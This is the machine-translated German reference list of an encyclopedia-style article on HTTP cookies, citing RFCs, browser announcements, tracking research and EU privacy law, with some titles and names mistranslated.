  10. ^ a b Kesan, Jey; und Shah, Rajiv; Code dekonstruieren Archiviert 2018-08-19 AT Archiv-It, SSRN.com, Kapitel II.B (Netscapes Cookies), Yale Journal of Law and Technology, 6, 277–389
  11. ^ a b Kristol, David; HTTP Cookies: Standards, Privatsphäre und Politik, ACM -Transaktionen in der Internet -Technologie, 1 (2), 151–198, 2001 doi:10.1145/502152.502153 (Eine erweiterte Version ist bei freier Verfügung bei [https://web.archive.org/web/20140716051321/http://arxiv.org/abs/cs.se/0105018 Archiviert 2014-07-16 bei der Wayback -Maschine ARXIV: CS/0105018V1 [Cs.SE]])
  12. ^ "Pressemitteilung: Netscape Communications bietet kostenlose neue Netzwerk -Navigator im Internet". Archiviert von das Original am 7. Dezember 2006. Abgerufen 22. Mai 2010.
  13. ^ "Usenet Post von Marc Andreessen: Hier ist es, Welt!". 13. Oktober 1994. Archiviert Aus dem Original am 27. April 2011. Abgerufen 22. Mai 2010.
  14. ^ Kristol, David M. (November 2001). "Http Cookies". ACM -Transaktionen in der Internet -Technologie. 1 (2): 151–198. Arxiv:CS/0105018. doi:10.1145/502152.502153. ISSN 1533-5399. S2CID 1848140.
  15. ^ US 5774670, Montulli, Lou, "Persistierter Client-Status in einem Hypertext-Transferprotokoll-basierten Client-Server-System", veröffentlicht 1998-06-30, zugewiesene Netscape Communications Corp. 
  16. ^ Hardmeier, Sandi (25. August 2005). "Die Geschichte des Internet Explorer". Microsoft. Archiviert Aus dem Original am 1. Oktober 2005. Abgerufen 4. Januar 2009.
  17. ^ Jackson, T (12. Februar 1996). "Dieser Fehler in Ihrem PC ist ein intelligenter Cookie". Finanzzeiten.
  18. ^ "RFC2109".
  19. ^ "Kekse einstellen". Staff.Washington.edu. 19. Juni 2009. Archiviert Aus dem Original am 16. März 2017. Abgerufen 15. März 2017.
  20. ^ In der Edbrowse-Dokumentation Version 3.5 heißt es: "Beachten Sie, dass nur Kekse im NetScape-Stil unterstützt werden. Dies ist jedoch der häufigste Geschmack von Keks. Sie wird wahrscheinlich Ihren Anforderungen entsprechen." Dieser Absatz wurde entfernt spätere Versionen der Dokumentation Archiviert 2017-03-16 bei der Wayback -Maschine Weiter zu RFC 2965's Abschaltung.
  21. ^ Hodges, Jeff; Corry, BIL (6. März 2011). ""HTTP -Staatsmanagementmechanismus" zum vorgeschlagenen Standard ". Die Sicherheitspraxis. Archiviert Aus dem Original am 7. August 2016. Abgerufen 17. Juni 2016.
  22. ^ "Set -Cookie2 - Http | Mdn". Entwickler.mozilla.org. Abgerufen 8. März 2021.
  23. ^ Microsoft -Unterstützung Beschreibung von anhaltenden und pro-Sitzungen im Internet Explorer Archiviert 2011-09-25 in der Wayback -Maschine Artikel ID 223799, 2007
  24. ^ "Sitzungsstatus mit Cookies" aufrechterhalten ". Microsoft Developer Network. Archiviert Aus dem Original am 14. Oktober 2012. Abgerufen 22. Oktober 2012.
  25. ^ "'Samesit' Cookie Attribut, Chrome -Plattform Tatus ". Chromestatus.com. Archiviert vom Original am 9. Mai 2016. Abgerufen 23. April 2016.
  26. ^ Goodwin, M.; West (20. Juni 2016). "Kekse mitselben Standort Draft-ITF-Httpbis-Cookie-same-Site-00". Tools.ietf.org. Archiviert Aus dem Original am 16. August 2016. Abgerufen 28. Juli 2016.
  27. ^ "Verwenden des selben Cookie-Attributs, um CSRF-Angriffe zu verhindern". www.netsparker.com. 23. August 2016. Abgerufen 5. April 2021.
  28. ^ "Benötigen" sicher "für" samesit = None ". Von Miketaylr · Pull Request #1323 · httpwg/http-Extosions". GitHub. Abgerufen 5. April 2021.
  29. ^ "Browser -Kompatibilitätstest von 'Samesit' Cookie Attribut".
  30. ^ "Samesit Cookie Änderungen im Februar 2020: Was Sie wissen müssen". Chrom -Blog. Abgerufen 5. April 2021.
  31. ^ "Vorübergehend zurückrollen Samesit Cookie ändert sich". Chrom -Blog. Abgerufen 5. April 2021.
  32. ^ "Domains von Drittanbietern". Webcookies.org. Archiviert Aus dem Original am 9. Dezember 2014. Abgerufen 7. Dezember 2014.
  33. ^ "Anzahl der Kekse". Webcookies.org. Archiviert Aus dem Original am 9. Dezember 2014. Abgerufen 7. Dezember 2014.
  34. ^ Statt, Nick (24. März 2020). "Apple aktualisiert Safaris Anti-Tracking-Technologie mit einem vollständigen Cookie-Blockieren von Drittanbietern". Der Verge. Abgerufen 24. Juli 2020.
  35. ^ "Firefox blockiert standardmäßig Cookies von Drittanbietern". VentureBeat. 4. Juni 2019. Abgerufen 24. Juli 2020.
  36. ^ Brave (6. Februar 2020). "OK Google, verzögern Sie die Privatsphäre des realen Browsers erst 2022". Tapferer Browser. Abgerufen 24. Juli 2020.
  37. ^ Protalinski, Emil (19. Mai 2020). "Chrome 83 kommt mit neu gestalteten Sicherheitseinstellungen an, Drittanbieter, die in Inkognito blockiert sind.". VentureBeat. VentureBeat. Abgerufen 25. Juni 2020.
  38. ^ Goel, Vinay (24. Juni 2021). "Eine aktualisierte Zeitleiste für Privatsphäre Sandbox -Meilensteine". Google Chrome Offizieller Blog. Abgerufen 13. Oktober 2021.
  39. ^ "Erfahren Sie mehr über die öffentliche Suffixliste". Publicsuffix.org. Archiviert vom Original am 14. Mai 2016. Abgerufen 28. Juli 2016.
  40. ^ Mayer, Jonathan (19. August 2011). "Verfolgung der Trackers: Microsoft Advertising". Das Zentrum für Internet und Gesellschaft. Archiviert Aus dem Original am 26. September 2011. Abgerufen 28. September 2011.
  41. ^ Vijayan, Jaikumar. "Microsoft deaktiviert 'Supercookies', die auf MSN.com -Besuchern verwendet werden". Archiviert Aus dem Original am 27. November 2014. Abgerufen 23. November 2014.
  42. ^ Englehardt, Steven; Edelstein, Arthur (26. Januar 2021). "Firefox 85 knackt auf Superkookies".
  43. ^ Angwin, Julia; Tigas, Mike. "Zombie Cookie: Der Tracking -Cookie, den Sie nicht töten können". ProPublica. Abgerufen 1. November 2020.
  44. ^ Stolze, Conrad (11. Juni 2011). "Der Keks, der nicht zerbröckelt!". 24x7 Magazin. Abgerufen 1. November 2020.
  45. ^ Peng, Weihong; Cisna, Jennifer (2000). "HTTP Cookies, eine vielversprechende Technologie". Proquest. Online -Informationsüberprüfung. Proquest 194487945.
  46. ^ Jim Manico zitiert Daniel Stenberg, Real World Cookie Länge Grenzen Archiviert 2013-07-02 bei der Wayback -Maschine
  47. ^ Lee, Wei-bin; Chen, Hsing-Bai; Chang, Shun-Shyan; Chen, Tzung-Her (25. Januar 2019). "Sicherer und effizienter Schutz für HTTP-Cookies mit Selbstverifizierung". Internationales Journal of Communication Systems. 32 (2): e3857. doi:10.1002/DAC.3857. S2CID 59524143.
  48. ^ Rainie, Lee (2012). Netzwerk: Das neue soziale Betriebssystem. p. 237
  49. ^ a b Ietf HTTP -Staatsmanagementmechanismus, April 2011 Obsoletes RFC 2965
  50. ^ "Persistierter Kundenstaat HTTP -Cookies: vorläufige Spezifikation". Netscape. c. 1999. archiviert von das Original am 5. August 2007.
  51. ^ "Cookie -Eigenschaft". Msdn. Microsoft. Archiviert Aus dem Original am 5. April 2008. Abgerufen 4. Januar 2009.
  52. ^ Shannon, Ross (26. Februar 2007). "Cookies, setzen und abrufen Informationen über Ihre Leser". HtmlSource. Archiviert Aus dem Original am 24. August 2011. Abgerufen 4. Januar 2009.
  53. ^ "HTTP -Staatsmanagementmechanismus, das Pfadattribut". Ietf. Marz 2014. Archiviert Aus dem Original am 1. Mai 2011. Abgerufen 12. Mai 2011.
  54. ^ "RFC 6265, HTTP -Staatsmanagementmechanismus, Domänenanpassung". Ietf. Marz 2014. Archiviert Aus dem Original am 1. Mai 2011. Abgerufen 12. Mai 2011.
  55. ^ "RFC 6265, HTTP -Staatsmanagementmechanismus, das Domain -Attribut". Ietf. Marz 2014. Archiviert Aus dem Original am 1. Mai 2011. Abgerufen 12. Mai 2011.
  56. ^ "Internet Explorer Cookie Interna (FAQ)". 21. November 2018.
  57. ^ "RFC 2109, HTTP-Staatsmanagementmechanismus, Set-Cookie-Syntax". Ietf. Marz 2014. Archiviert vom Original am 13. März 2014. Abgerufen 4. März 2014.
  58. ^ "RFC 6265, HTTP -Staatsmanagementmechanismus". ietf.org. Archiviert Aus dem Original am 1. Mai 2011. Abgerufen 12. Mai 2011.
  59. ^ "Cookies -Spezifikationskompatibilität in modernen Browsern". inikulin.github.io. 2016. Archiviert Aus dem Original am 2. Oktober 2016. Abgerufen 30. September 2016.
  60. ^ Coles, Peter. "HTTP Cookies: Was ist der Unterschied zwischen maximalem Alter und Auslauf?-Peter Coles". Mrcoles.com. Archiviert Aus dem Original am 29. Juli 2016. Abgerufen 28. Juli 2016.
  61. ^ "Symantec Internet Security Threat Report: Trends für Juli bis Dezember 2007 (Executive Summary)" (PDF). Xiii. Symantec Corp. April 2008: 1–3. Archiviert (PDF) Aus dem Original am 25. Juni 2008. Abgerufen 11. Mai 2008. {{}}: Journal zitieren erfordert |journal= (Hilfe)
  62. ^ Whalen, David (8. Juni 2002). "Der inoffizielle Keks -FAQ v2.6". Cookie Central. Archiviert Aus dem Original am 24. August 2011. Abgerufen 4. Januar 2009.
  63. ^ "So verwalten Sie Cookies im Internet Explorer 6". Microsoft. 18. Dezember 2007. Archiviert Aus dem Original am 28. Dezember 2008. Abgerufen 4. Januar 2009.
  64. ^ "Private Daten löschen". Firefox unterstützt die Wissensbasis. Mozilla. 16. September 2008. Archiviert Aus dem Original am 3. Januar 2009. Abgerufen 4. Januar 2009.
  65. ^ "Löschen Sie persönliche Informationen: Durchsuchen der Surfen" Daten löschen ". Google Chrome Hilfe. Archiviert Aus dem Original am 11. März 2009. Abgerufen 4. Januar 2009.
  66. ^ "Löschen Sie persönliche Informationen: Cookies löschen". Google Chrome Hilfe. Archiviert Aus dem Original am 11. März 2009. Abgerufen 4. Januar 2009.
  67. ^ "Standortkompatibilität für Firefox 22", Mozilla Developer Network, 11. April 2013, archiviert vom Original am 27. Mai 2013, abgerufen 11. April 2013
  68. ^ Miyazaki, Anthony D. (2008), "Online -Privatsphäre und die Offenlegung der Keksverwendung: Auswirkungen auf das Vertrauen der Verbraucher und die erwartete Schirmherrschaft", Journal of Public Policy & Marketing, 23 (Frühjahr), 19–33
  69. ^ "Spy Agency beseitigt illegale Verfolgungsdateien". New York Times. 29. Dezember 2005. Archiviert Aus dem Original am 12. November 2011. Abgerufen 19. Februar 2017.
  70. ^ "EU Cookie -Richtlinie, Richtlinie 2009/136/EC". Jisc rechtliche Informationen. Archiviert Aus dem Original am 18. Dezember 2012. Abgerufen 31. Oktober 2012.
  71. ^ a b Datenschutz- und elektronische Kommunikationsvorschriften. Büro des Informationskommissars. 2012. archiviert von das Original am 30. Oktober 2012. Abgerufen 31. Oktober 2012.
  72. ^ "Cookies und ähnliche Technologien". ICO.org.uk. 1. Januar 2021. Abgerufen 6. Juni 2021.
  73. ^ a b "EUR -GEX - 62017CN0673 - EN - EUR -GEX". Eur-lex.europa.eu. Abgerufen 6. Juni 2021.
  74. ^ a b Veale, Michael; Zuiderveen Borgesius, Frederik (1. April 2021). "ADTech und Echtzeitgebot nach dem europäischen Datenschutzgesetz". doi:10.31235/osf.io/wg8fq. S2CID 243311598. {{}}: Journal zitieren erfordert |journal= (Hilfe)
  75. ^ Zuiderveen Borgesius, Frederik J. (August 2015). "Persönliche Datenverarbeitung für Verhaltensziele: Welche rechtliche Grundlage?". Internationales Datenschutzgesetz. 5 (3): 163–176. doi:10.1093/idpl/ipv011. ISSN 2044-3994.
  76. ^ a b c d Nouwens, Midas; Liccardi, Ilaria; Veale, Michael; Karger, David; Kagal, Lalana (21. April 2020). "Dunkle Muster nach der DSGVO: Einverständniserklärungen Pop-ups und demonstrieren ihres Einflusses". Verfahren der 2020 CHI -Konferenz über menschliche Faktoren in Computersystemen. Chi '20. Honolulu Hi USA: ACM: 1–13. Arxiv:2001.02479. doi:10.1145/3313831.3376321. HDL:1721.1/129999. ISBN 978-1-4503-6708-0. S2CID 210064317.
  77. ^ a b "EUR -GEX - 32016R0679 - EN - EUR -GEX". Eur-lex.europa.eu. Abgerufen 6. Juni 2021.
  78. ^ a b Büro des Informationskommissars (2019). Aktualisieren Sie den Bericht in ADTECH und Echtzeit -Gebote (PDF).
  79. ^ www.legifrance.gouv.fr https://www.legifrance.gouv.fr/jorf/id/jorftext000038783337. Abgerufen 6. Juni 2021. {{}}: Fehlen oder leer |title= (Hilfe)
  80. ^ "EUR -GLEX - 62017CC0040 - EN - EUR -GEX". Eur-lex.europa.eu. Abgerufen 6. Juni 2021.
  81. ^ "EU Cookie Law: Hör auf zu jammern und mach einfach weiter.". Wired UK. 24. Mai 2012. Archiviert Aus dem Original am 15. November 2012. Abgerufen 31. Oktober 2012.
  82. ^ Kampanos, Georgios; Shahandashti, Siamak F. (2021). "Akzeptieren Sie alle: Die Landschaft der Keksbanner in Griechenland und Großbritannien". ICT Systems Sicherheit und Datenschutzschutz. Cham: Springer International Publishing. S. 213–227. Arxiv:2104.05750. doi:10.1007/978-3-030-78120-0_14. ISBN 978-3-030-78119-4. ISSN 1868-4238. S2CID 233219491.
  83. ^ Santos, Cristiana; Nouwens, Midas; Toth, Michael; Bielova, Nataliia; Roca, Vincent (2021), Gruschka, Nils; Antunes, Luís Filipe Coelho; Rannenberg, Kai; Drogkaris, Prokopios (Hrsg.), "Einverständnisverwaltungsplattformen unter der DSGVO: Prozessoren und/oder Controller?", Datenschutztechnologien und Politik, Cham: Springer International Publishing, Vol. 12703, S. 47–69, Arxiv:2104.06861, doi:10.1007/978-3-030-76663-4_3, ISBN 978-3-030-76662-7, S2CID 233231428, abgerufen 6. Juni 2021
  84. ^ "P3P: Die Plattform für Datenschutzeinstellungen". www.w3.org. Abgerufen 15. Oktober 2021.
  85. ^ Zuiderveen Borgesius, F.J.; Kruikemeier, S.; C Boerman, S.; Helberger, N. (2017). "Verfolgung von Wänden, Take-it-or-Leave-It-Auswahl, DSGVO und Eprivacy Regulation". Überprüfung des europäischen Datenschutzgesetzes. 3 (3): 353–368. doi:10.21552/edpl/2017/3/9. HDL:11245.1/dfb59b54-0544-4c65-815a-640eae10668a.
  86. ^ "Richtlinien 05/2020 zur Einwilligung gemäß Regulierung 2016/679 | Europäischer Datenschutzbehörde". edpb.europa.eu. Abgerufen 6. Juni 2021.
  87. ^ "Eine Lücke, die groß genug ist, damit ein Keks durchpasst". Bits. Die New York Times. 17. September 2010. Archiviert Aus dem Original am 26. Januar 2013. Abgerufen 31. Januar 2013.
  88. ^ Pegoraro, Rob (17. Juli 2005). "So blockieren Sie Tracking Cookies". Washington Post. p. F07. Archiviert Aus dem Original am 27. April 2011. Abgerufen 4. Januar 2009.
  89. ^ Francisco, Thomas Claburn in San. "Wie lautet CNAME Ihres Spiels? Diese DNS-basierte Tracking widerspricht Ihrer Datenschutzverteidigung in Browser". www.theregister.com. Abgerufen 6. Juni 2021.
  90. ^ Dimova, Yana; Acar, Schützen; Olejnik, Lukasz; Joosen, Wouter; Van Goethem, Tom (5. März 2021). "Der CNAME des Spiels: Große Analyse der DNS-basierten Tracking-Ausweiche". Arxiv:2102.09301 [cs.cr].
  91. ^ Verdrahtet Hack erhält 9 falsche Zertifikate für prominente Websites Archiviert 2014-03-26 bei der Wayback -Maschine
  92. ^ a b c Finkle, Jim (25. Mai 2011). "Microsoft Neueste Sicherheitsrisiko: 'Cookiejacking'". Reuters. Archiviert vom Original am 30. Mai 2011. Abgerufen 26. Mai 2011.
  93. ^ Whitney, Lance (26. Mai 2011). "Sicherheitsforscher findet das Cookiejacking -Risiko im IE". CNET. Archiviert von das Original am 14. Juni 2011. Abgerufen 6. September 2019.
  94. ^ Fielding, Roy (2000). "Fielding Dissertation: Kapitel 6: Erfahrung und Bewertung". Archiviert Aus dem Original am 27. April 2011. Abgerufen 14. Oktober 2010.
  95. ^ Tilkov, Stefan (2. Juli 2008). "Ruhe Anti-Muster". Infoq. Archiviert Aus dem Original am 23. Dezember 2008. Abgerufen 4. Januar 2009.
  96. ^ Hoffman, Chris. "Was ist ein Browser -Keks?". How-to Geek. Abgerufen 3. April 2021.
  97. ^ "Der Cookie ist tot. So verfolgt Facebook, Google und Apple Sie jetzt, VentureBeat, Mobile, von Richard Byrne Reilly". VentureBeat. 6. Oktober 2014. Archiviert Aus dem Original am 24. Juli 2017. Abgerufen 31. August 2017.
  98. ^ "Window.sessionStorage, Web -APIs | Mdn". Entwickler.mozilla.org. Archiviert Aus dem Original am 28. September 2015. Abgerufen 2. Oktober 2015.
  99. ^ "Einführung in die Persistenz". microsoft.com. Microsoft. Archiviert Aus dem Original am 11. Januar 2015. Abgerufen 9. Oktober 2014.
  100. ^ "Isolierte Speicherung". Microsoft.com. Archiviert Aus dem Original am 16. Dezember 2014. Abgerufen 9. Oktober 2014.
  101. ^ "Browserspy". Gemal.dk. Archiviert Aus dem Original am 26. September 2008. Abgerufen 28. Januar 2010.
  102. ^ "IE" Standardverhalten [sic] "Browserinformationen Offenlegungstests: Clientcaps". Mypage.direct.ca. Archiviert Aus dem Original am 5. Juni 2011. Abgerufen 28. Januar 2010.
  103. ^ Eckersley, Peter (17. Mai 2010). "Wie einzigartig ist Ihr Webbrowser?" (PDF). Eff.org. Elektronische Grenzfundament. Archiviert von das Original (PDF) am 15. Oktober 2014. Abgerufen 23. Juli 2014.

Quellen

  • Anonymous, 2011. Cookiejacking -Angriff stiehlt die Website -Zugriffsnachweise. InformationWeek - Online, S. InformationWeek - Online, 26. Mai 2011.

Externe Links